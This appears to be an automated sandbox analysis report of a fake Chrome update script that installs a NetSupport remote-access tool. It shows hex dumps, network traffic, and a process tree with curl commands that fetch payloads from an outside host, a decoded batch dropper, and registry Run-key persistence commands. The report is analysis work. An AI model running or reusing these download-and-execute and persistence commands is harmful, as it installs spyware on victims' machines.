2023-08-02 08:46:25 UTC	2687	IN	Data Raw: 0f 83 e6 f0 eb 03 6a 10 5e 89 75 0c 89 7d dc 83 fe e0 0f 87 f3 00 00 00 6a 09 e8 59 1a 00 00 59 c7 45 fc 01 00 00 00 8d 45 d4 50 8d 45 c8 50 53 e8 3f 2d 00 00 83 c4 0c 8b f8 89 7d d0 85 ff 0f 84 aa 00 00 00 3b 35 5c 01 49 00 73 5c 8b de c1 eb 04 53 57 ff 75 d4 ff 75 c8 e8 dd 30 00 00 83 c4 10 85 c0 74 08 8b 45 08 89 45 dc eb 38 53 e8 9c 2d 00 00 59 89 45 dc 85 c0 74 2a 0f b6 07 c1 e0 04 89 45 cc 3b c6 72 02 8b c6 50 ff 75 08 ff 75 dc e8 37 fa ff ff 57 ff 75 d4 ff 75 c8 e8 28 2d 00 00 83 c4 18 8b 5d 08 83 7d dc 00 75 53 56 6a 00 ff 35 80 65 49 00 ff 15 8c a1 47 00 89 45 dc 85 c0 74 3d 0f b6 07 c1 e0 04 89 45 cc 3b c6 72 02 8b c6 50 53 ff 75 dc e8 f0 f9 ff ff 57 ff 75 d4 ff 75 c8 e8 e1 2c 00 00 83 c4 18 eb 13 56 53 6a 00 ff 35 80 65 49 00 ff 15 94 a1 47 00 Data Ascii: j^u}jYYEEPEPS?-};5\Is\SWuu0tEE8S-YEt*E;rPuu7Wuu(-]}uSVj5eIGEt=E;rPSuWuu,VSj5eIG
2023-08-02 08:46:25 UTC	2703	IN	Data Raw: d5 8b f0 3b f3 74 0c c7 05 40 38 49 00 01 00 00 00 eb 28 ff 15 f0 a1 47 00 8b f8 3b fb 0f 84 ea 00 00 00 c7 05 40 38 49 00 02 00 00 00 e9 8f 00 00 00 83 f8 01 0f 85 81 00 00 00 3b f3 75 0c ff d5 8b f0 3b f3 0f 84 c2 00 00 00 66 39 1e 8b c6 74 0e 40 40 66 39 18 75 f9 40 40 66 39 18 75 f2 2b c6 8b 3d 44 a0 47 00 d1 f8 53 53 40 53 53 50 56 53 53 89 44 24 34 ff d7 8b e8 3b eb 74 32 55 e8 4e b4 ff ff 3b c3 59 89 44 24 10 74 23 53 53 55 50 ff 74 24 24 56 53 53 ff d7 85 c0 75 0e ff 74 24 10 e8 65 b5 ff ff 59 89 5c 24 10 8b 5c 24 10 56 ff 15 ec a1 47 00 8b c3 eb 53 83 f8 02 75 4c 3b fb 75 0c ff 15 f0 a1 47 00 8b f8 3b fb 74 3c 38 1f 8b c7 74 0a 40 38 18 75 fb 40 38 18 75 f6 2b c7 40 8b e8 55 e8 e7 b3 ff ff 8b f0 59 3b f3 75 04 33 f6 eb 0b 55 57 56 e8 cf b9 ff ff Data Ascii: ;t@8I(G;@8I;u;f9t@@f9u@@f9u+=DGSS@SSPVSSD$4;t2UN;YD$t#SSUPt$$VSSut$eY\$\$VGSuL;uG;t<8t@8u@8u+@UY;u3UWV
2023-08-02 08:46:25 UTC	2719	IN	Data Raw: f8 ff 8d 4d cc e9 91 cd f8 ff 8d 4d d8 e9 89 cd f8 ff 8d 4d c0 e9 81 cd f8 ff 8d 4d d8 e9 79 cd f8 ff 8d 4d c0 e9 71 cd f8 ff 8d 4d 94 e9 e7 39 fb ff 8d 4d 94 e9 df 39 fb ff 8d 4d bc e9 32 d9 f8 ff 8d 4d 94 e9 cf 39 fb ff b8 28 01 48 00 e9 02 6a ff ff cc cc 8d 4d e8 e9 3d cd f8 ff 8d 4d d0 e9 35 cd f8 ff 8d 4d dc e9 2d cd f8 ff b8 a8 01 48 00 e9 de 69 ff ff cc cc 8d 4d e0 e9 19 cd f8 ff b8 e0 01 48 00 e9 ca 69 ff ff cc cc 8d 4d e8 e9 05 cd f8 ff b8 08 02 48 00 e9 b6 69 ff ff cc cc 8d 4d e8 e9 f1 cc f8 ff b8 30 02 48 00 e9 a2 69 ff ff cc cc 8d 4d e0 e9 dd cc f8 ff b8 58 02 48 00 e9 8e 69 ff ff cc cc 8d 4d e0 e9 c9 cc f8 ff b8 80 02 48 00 e9 7a 69 ff ff cc cc 8d 4d e4 e9 b5 cc f8 ff 8d 4d cc e9 ad cc f8 ff 8d 4d d8 e9 a5 cc f8 ff b8 a8 02 48 00 e9 56 69 ff Data Ascii: MMMMyMqM9M9M2M9(HjM=M5M-HiMHiMHiM0HiMXHiMHziMMMHVi
2023-08-02 08:46:25 UTC	2735	IN	Data Raw: e9 96 8d f8 ff 8d 8d 34 ff ff ff e9 8b 8d f8 ff 8d 8d 1c ff ff ff e9 80 8d f8 ff 8d 8d 04 ff ff ff e9 75 8d f8 ff 8d 8d ec fe ff ff e9 6a 8d f8 ff b8 c8 66 48 00 e9 1b 2a ff ff cc cc cc 8b 4d f0 e9 d3 f9 fa ff b8 90 67 48 00 e9 06 2a ff ff cc cc ff 75 f0 e8 cc ee f8 ff 59 c3 b8 b8 67 48 00 e9 f0 29 ff ff 8d 4d d4 e9 f7 61 fc ff b8 e0 67 48 00 e9 de 29 ff ff cc cc b8 08 68 48 00 e9 d2 29 ff ff cc cc 8d 4d e0 e9 73 45 fc ff b8 98 68 48 00 e9 be 29 ff ff cc cc 8d 8d 58 ff ff ff e9 58 40 fc ff b8 c0 68 48 00 e9 a7 29 ff ff cc cc cc b8 20 69 48 00 e9 9a 29 ff ff cc cc 8d 4d d0 e9 9f 61 fc ff b8 78 69 48 00 e9 86 29 ff ff cc cc 8d 8d 58 ff ff ff e9 20 40 fc ff b8 a0 69 48 00 e9 6f 29 ff ff cc cc cc 8d 8d c4 fe ff ff e9 08 40 fc ff 8d 8d 5c ff ff ff e9 fd 3f fc Data Ascii: 4ujfHMgHuYgH)MagH)hH)MsEhH)XX@hH) iH)MaxiH)X @iHo)@\?
2023-08-02 08:46:25 UTC	2751	IN	Data Raw: 6f 70 75 70 00 00 47 65 74 41 63 74 69 76 65 57 69 6e 64 6f 77 00 4d 65 73 73 61 67 65 42 6f 78 41 00 75 73 65 72 33 32 2e 64 6c 6c 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 36 22 47 00 3a 22 47 00 ff ff ff ff ea 22 47 00 ee 22 47 00 ff ff ff ff 6e 24 47 00 72 24 47 00 48 3a 6d 6d 3a 73 73 00 64 64 64 64 2c 20 4d 4d 4d 4d 20 64 64 2c 20 79 79 79 79 00 4d 2f 64 2f 79 79 00 00 50 4d 00 00 41 4d 00 00 44 65 63 65 6d 62 65 72 00 00 00 00 4e 6f 76 65 6d 62 65 72 00 00 00 00 4f 63 74 6f 62 65 72 00 53 65 70 74 65 6d 62 65 72 00 00 00 41 75 67 75 73 74 00 00 4a 75 6c 79 00 00 00 00 4a 75 6e 65 00 00 00 00 41 70 72 69 6c 00 00 00 4d 61 72 63 68 00 00 00 46 65 62 72 75 61 72 79 00 00 00 00 4a 61 6e 75 61 72 79 00 44 65 63 00 4e 6f 76 00 4f 63 74 00 53 65 70 00 41 Data Ascii: opupGetActiveWindowMessageBoxAuser32.dll6"G:"G"G"Gn$Gr$GH:mm:ssdddd, MMMM dd, yyyyM/d/yyPMAMDecemberNovemberOctoberSeptemberAugustJulyJuneAprilMarchFebruaryJanuaryDecNovOctSepA
2023-08-02 08:46:25 UTC	2767	IN	Data Raw: 00 00 3a 53 47 00 06 00 00 00 44 53 47 00 0b 00 00 00 4c 53 47 00 0b 00 00 00 54 53 47 00 06 00 00 00 5c 53 47 00 06 00 00 00 66 53 47 00 0f 00 00 00 6e 53 47 00 10 00 00 00 76 53 47 00 06 00 00 00 7e 53 47 00 06 00 00 00 88 53 47 00 13 00 00 00 90 53 47 00 14 00 00 00 98 53 47 00 14 00 00 00 a2 53 47 00 20 05 93 19 02 00 00 00 78 0d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff b4 53 47 00 00 00 00 00 bf 53 47 00 20 05 93 19 02 00 00 00 a8 0d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff d4 53 47 00 ff ff ff ff df 53 47 00 20 05 93 19 01 00 00 00 d8 0d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff f4 53 47 00 20 05 93 19 01 00 00 00 00 0e 48 00 00 00 00 00 00 Data Ascii: :SGDSGLSGTSG\SGfSGnSGvSG~SGSGSGSGSG xHSGSG HSGSG HSG H
2023-08-02 08:46:25 UTC	2783	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 9c 7a 47 00 20 05 93 19 06 00 00 00 28 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff b0 7a 47 00 00 00 00 00 b8 7a 47 00 01 00 00 00 c3 7a 47 00 02 00 00 00 ce 7a 47 00 03 00 00 00 d9 7a 47 00 04 00 00 00 e4 7a 47 00 20 05 93 19 02 00 00 00 78 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff f8 7a 47 00 00 00 00 00 03 7b 47 00 20 05 93 19 01 00 00 00 a8 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 18 7b 47 00 20 05 93 19 04 00 00 00 d0 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 30 7b 47 00 00 00 00 00 38 7b 47 00 01 00 00 00 43 7b 47 00 02 00 00 00 4e 7b 47 00 20 Data Ascii: zG (MHzGzGzGzGzGzG xMHzG{G MH{G MH0{G8{GC{GN{G
2023-08-02 08:46:25 UTC	2799	IN	Data Raw: 6d 70 61 72 65 46 69 6c 65 54 69 6d 65 00 bc 00 46 69 6c 65 54 69 6d 65 54 6f 53 79 73 74 65 6d 54 69 6d 65 00 00 bb 01 47 65 74 53 79 73 74 65 6d 49 6e 66 6f 00 fa 01 47 6c 6f 62 61 6c 4d 65 6d 6f 72 79 53 74 61 74 75 73 00 00 77 01 47 65 74 4d 6f 64 75 6c 65 48 61 6e 64 6c 65 41 00 00 88 00 44 6f 73 44 61 74 65 54 69 6d 65 54 6f 46 69 6c 65 54 69 6d 65 00 ba 00 46 69 6c 65 54 69 6d 65 54 6f 44 6f 73 44 61 74 65 54 69 6d 65 00 4e 03 53 79 73 74 65 6d 54 69 6d 65 54 6f 46 69 6c 65 54 69 6d 65 00 00 be 01 47 65 74 53 79 73 74 65 6d 54 69 6d 65 00 83 03 57 61 69 74 46 6f 72 4d 75 6c 74 69 70 6c 65 4f 62 6a 65 63 74 73 00 00 73 02 4f 70 65 6e 45 76 65 6e 74 41 00 00 65 03 55 6e 6d 61 70 56 69 65 77 4f 66 46 69 6c 65 00 5e 02 4d 61 70 56 69 65 77 4f 66 46 69 Data Ascii: mpareFileTimeFileTimeToSystemTimeGetSystemInfoGlobalMemoryStatuswGetModuleHandleADosDateTimeToFileTimeFileTimeToDosDateTimeNSystemTimeToFileTimeGetSystemTimeWaitForMultipleObjectssOpenEventAeUnmapViewOfFile^MapViewOfFi
2023-08-02 08:46:25 UTC	2815	IN	Data Raw: 00 00 00 00 00 00 42 00 43 00 4a 00 32 00 00 00 00 00 00 00 00 00 e0 58 44 00 60 59 44 00 03 01 03 03 00 00 00 00 28 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 42 00 43 00 4a 00 00 00 90 5b 44 00 c0 5b 44 00 05 02 03 03 00 00 00 00 fc d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 e0 5b 44 00 00 5c 44 00 01 04 03 03 00 00 00 00 f0 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 20 5c 44 00 40 5c 44 00 01 05 03 03 00 00 00 00 e8 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 60 5c 44 00 80 5c 44 00 01 07 03 03 00 00 00 00 dc d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 a0 5c 44 00 c0 5c 44 00 05 08 03 03 00 00 00 00 d0 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 53 00 50 00 41 00 52 00 43 00 00 00 41 00 52 00 4d 00 54 00 00 00 00 00 41 00 52 00 4d 00 00 00 49 Data Ascii: BCJ2XD`YD(HBCJ[D[DH[D\DH \D@\DH`\D\DH\D\DHSPARCARMTARMI

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.8	49705	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-02 08:46:26 UTC	2830	OUT	GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat HTTP/1.1 Host: mangoairsoft.com User-Agent: curl/8.0.1 Accept: /
2023-08-02 08:46:27 UTC	2830	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 02 Aug 2023 08:46:26 GMT Content-Type: application/x-msdos-program Content-Length: 532 Connection: close Last-Modified: Thu, 27 Jul 2023 14:27:39 GMT ETag: "214-60178c42f5f39" Accept-Ranges: bytes
2023-08-02 08:46:27 UTC	2830	IN	Data Raw: 40 65 63 68 6f 20 6f 66 66 0d 0a 0d 0a 3a 3a 20 73 73 52 73 67 73 33 73 67 73 62 67 73 67 67 73 67 73 33 67 73 67 73 33 73 33 5a 36 0d 0a 3a 3a 20 73 73 52 62 5a 67 73 36 67 73 67 73 33 32 36 66 73 73 52 62 0d 0a 0d 0a 73 74 61 72 74 20 2f 62 20 2f 6d 69 6e 20 78 63 6f 70 79 20 2f 68 20 2f 79 20 37 7a 7a 2e 65 78 65 20 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 20 26 26 20 73 74 61 72 74 20 2f 62 20 2f 6d 69 6e 20 63 6d 64 20 2f 63 20 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 37 7a 7a 2e 65 78 65 20 78 20 2d 79 20 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 6c 6f 6c 6f 2e 37 7a 20 20 2d 6f 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 20 26 26 20 54 49 4d 45 4f 55 54 20 2f 54 20 37 20 26 26 20 73 74 61 72 74 20 2f 62 20 2f 6d 69 6e 20 63 6d 64 20 2f Data Ascii: @echo off:: ssRsgs3sgsbgsggsgs3gsgs3s3Z6:: ssRbZgs6gsgs326fssRbstart /b /min xcopy /h /y 7zz.exe C:\ProgramData\ && start /b /min cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\ && TIMEOUT /T 7 && start /b /min cmd /

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: wscript.exePID: 6872, Parent PID: 4612

General

Target ID:	0
Start time:	10:46:19
Start date:	02/08/2023
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Chrome_update(1).js"
Imagebase:	0x7ff64c5a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: cmd.exePID: 6976, Parent PID: 6872

General

Target ID:	3
Start time:	10:46:22
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c C://ProgramData//hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat
Imagebase:	0x7ff678190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exePID: 6980, Parent PID: 6976

General

Target ID:	4
Start time:	10:46:22
Start date:	02/08/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7bef30000
File size:	873'472 bytes
MD5 hash:	86191D9E0E30631DB3E78E4645804358
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exePID: 7024, Parent PID: 6976

General

Target ID:	5
Start time:	10:46:23
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\sett.bat"
Imagebase:	0x7ff678190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: curl.exePID: 6140, Parent PID: 7024

General

Target ID:	6
Start time:	10:46:23
Start date:	02/08/2023
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "C:\ProgramData\lolo.7z"
Imagebase:	0x7ff72cf00000
File size:	566'272 bytes
MD5 hash:	05DEDF1936A065612E52C37E40143646
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: cmd.exePID: 5920, Parent PID: 6976

General

Target ID:	7
Start time:	10:46:24
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\7z.bat"
Imagebase:	0x7ff678190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: curl.exePID: 2688, Parent PID: 5920

General

Target ID:	8
Start time:	10:46:24
Start date:	02/08/2023
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"
Imagebase:	0x7ff72cf00000
File size:	566'272 bytes
MD5 hash:	05DEDF1936A065612E52C37E40143646
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exePID: 1516, Parent PID: 6976

General

Target ID:	9
Start time:	10:46:25
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\qweq.bat"
Imagebase:	0x7ff678190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: curl.exePID: 6084, Parent PID: 1516

General

Target ID:	10
Start time:	10:46:25
Start date:	02/08/2023
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat" -o "C:\ProgramData\qweq.bat"
Imagebase:	0x7ff72cf00000
File size:	566'272 bytes
MD5 hash:	05DEDF1936A065612E52C37E40143646
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: reg.exePID: 3140, Parent PID: 1516

General

Target ID:	11
Start time:	10:46:26
Start date:	02/08/2023
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Imagebase:	0x7ff7386c0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: reg.exePID: 5580, Parent PID: 1516

General

Target ID:	12
Start time:	10:46:26
Start date:	02/08/2023
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Imagebase:	0x7ff7386c0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exePID: 5148, Parent PID: 6976

General

Target ID:	13
Start time:	10:46:27
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\qweq.bat"
Imagebase:	0x7ff678190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Analysis Process: xcopy.exePID: 4344, Parent PID: 5148

General

Target ID:	14
Start time:	10:46:27
Start date:	02/08/2023
Path:	C:\Windows\System32\xcopy.exe
Wow64 process (32bit):	false
Commandline:	xcopy /h /y 7zz.exe C:\ProgramData\
Imagebase:	0x7ff673c60000
File size:	50'688 bytes
MD5 hash:	39FBFD3AF58238C6F9D4D408C9251FF5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exePID: 4016, Parent PID: 5148

General

Target ID:	15
Start time:	10:46:27
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\
Imagebase:	0x7ff678190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: timeout.exePID: 5724, Parent PID: 5148

General

Target ID:	16
Start time:	10:46:27
Start date:	02/08/2023
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	TIMEOUT /T 7
Imagebase:	0x7ff78b770000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 7zz.exePID: 6960, Parent PID: 4016

General

Target ID:	17
Start time:	10:46:27
Start date:	02/08/2023
Path:	C:\ProgramData\7zz.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\
Imagebase:	0x400000
File size:	587'776 bytes
MD5 hash:	42BADC1D2F03A8B1E4875740D3D49336
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000011.00000003.1101297202.00000000027CD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000011.00000003.1101297202.0000000002428000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000011.00000003.1101297202.00000000022FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs

Chronological Activities

Analysis Process: cmd.exePID: 6968, Parent PID: 5148

General

Target ID:	18
Start time:	10:46:34
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c C:\ProgramData\client32.exe
Imagebase:	0x7ff678190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: reg.exePID: 5640, Parent PID: 5148

General

Target ID:	19
Start time:	10:46:34
Start date:	02/08/2023
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Imagebase:	0x7ff7386c0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: client32.exePID: 64, Parent PID: 6968

General

Target ID:	20
Start time:	10:46:34
Start date:	02/08/2023
Path:	C:\ProgramData\client32.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\client32.exe
Imagebase:	0x730000
File size:	101'680 bytes
MD5 hash:	F70B67C2B3204B7DDD8B755799CCCFF0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000014.00000002.3457728629.0000000000732000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000014.00000002.3463180593.00000000033A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000014.00000000.1161392451.0000000000732000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000014.00000002.3469063901.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000014.00000002.3468144607.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000014.00000002.3468144607.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000014.00000002.3478609865.00000000714A0000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\client32.exe, Author: Joe Security
Antivirus matches:	Detection: 12%, ReversingLabs

Chronological Activities

Analysis Process: client32.exePID: 3672, Parent PID: 4612

General

Target ID:	21
Start time:	10:46:37
Start date:	02/08/2023
Path:	C:\ProgramData\client32.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\client32.exe"
Imagebase:	0x730000
File size:	101'680 bytes
MD5 hash:	F70B67C2B3204B7DDD8B755799CCCFF0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000015.00000002.1216193206.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000015.00000002.1216193206.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000015.00000002.1213390233.0000000000732000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000015.00000000.1199995240.0000000000732000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000015.00000002.1216533196.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: reg.exePID: 6840, Parent PID: 5148

General

Target ID:	22
Start time:	10:46:39
Start date:	02/08/2023
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Imagebase:	0x7ff7386c0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: client32.exePID: 6072, Parent PID: 4612

General

Target ID:	23
Start time:	10:46:47
Start date:	02/08/2023
Path:	C:\ProgramData\client32.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\client32.exe"
Imagebase:	0x730000
File size:	101'680 bytes
MD5 hash:	F70B67C2B3204B7DDD8B755799CCCFF0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000017.00000000.1291215134.0000000000732000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000017.00000002.1297294998.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000017.00000002.1297294998.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000017.00000002.1295823909.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected 